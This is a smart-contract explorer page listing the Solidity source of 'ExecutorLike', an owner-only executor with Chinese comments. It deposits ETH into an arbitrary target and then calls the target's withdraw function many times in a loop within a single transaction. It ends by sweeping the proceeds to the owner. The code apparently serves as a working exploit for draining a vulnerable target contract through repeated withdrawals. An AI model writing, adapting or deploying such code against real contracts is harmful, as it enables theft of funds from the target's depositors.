Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
contract ExecutorLike {
// ---------- constants ----------
uint256 constant A = 11;
uint256 constant B = 30;
uint256 constant C = 75;
// ---------- custom errors ----------
error NotOwner();
error EmptyCount();
error CallFailed();
// ---------- state ----------
address payable public owner;
constructor() {
owner = payable(msg.sender);
}
modifier onlyOwner() {
if (msg.sender != owner) revert NotOwner();
_;
}
// 允许接收 ETH(关键!否则 target 往回转账会导致整个调用 revert)
receive() external payable {}
// 把 address 压成 uint256(与目标合约 withdraw 的第一个 uint 参数对齐)
function _addrU(address a) internal pure returns (uint256) {
return uint256(uint160(a));
}
// ========== 提取全部 ETH ==========
function sweepETH() external onlyOwner {
(bool ok, ) = owner.call{value: address(this).balance}("");
if (!ok) revert CallFailed();
}
function multicallAndFinalize(
address target,
uint256 count,
bytes4 withdrawSelector,
bytes4 depositSelector
) external payable onlyOwner {
if (count == 0) revert EmptyCount();
// ---- tx1: 第一次入金,用你这笔外部调用附带的 ETH 的一部分或全部 ----
// 若你想第一次固定 0.1 ETH,而保留余下的 msg.value 给第二次入金,可把两次金额拆成两个参数更清晰。
uint256 amount1 = 0.1 ether;
(bool ok1, ) = target.call{value: amount1}(
abi.encodeWithSelector(depositSelector, A, B, C)
);
if (!ok1) revert CallFailed();
// 记录本笔交易的块时间(同一笔 tx 内恒定)
uint256 t0 = block.timestamp;
// ---- tx2.step1: 循环 withdraw (时间区间用 t0,t0)----
uint256 userU = _addrU(address(this));
bytes memory cdW = abi.encodeWithSelector(
withdrawSelector,
userU, A, B, C,
t0, t0
);
for (uint256 i = 0; i < count; ) {
(bool okw, ) = target.call(cdW);
if (!okw) revert CallFailed();
unchecked { ++i; }
}
// ---- tx2.step2: 第二次入金:这里用“本次外部调用剩余余额”更贴合你的注释 ----
// 方案1:用“当前合约余额的一部分/全部”
uint256 amount2 = address(this).balance; // 或者传入一个专门的参数
if (amount2 > 0) {
(bool ok2, ) = target.call{value: amount2}(
abi.encodeWithSelector(depositSelector, A, B, C)
);
if (!ok2) revert CallFailed();
}
// ---- tx2.step3: 最后一笔 withdraw,使用当前块时间(与 t0 相同,但语义“最后一次”)----
uint256 t1 = block.timestamp;
bytes memory cdW2 = abi.encodeWithSelector(
withdrawSelector,
userU, A, B, C,
t1, t1
);
(bool ok3, ) = target.call(cdW2);
if (!ok3) revert CallFailed();
// ---- 收尾:把执行器余额打回给 owner ----
uint256 bal = address(this).balance;
if (bal != 0) {
(bool ok4, ) = owner.call{value: bal}("");
if (!ok4) revert CallFailed();
}
}
}
Submitted on: 2025-10-09 19:03:54
Comments
Log in to comment.
No comments yet.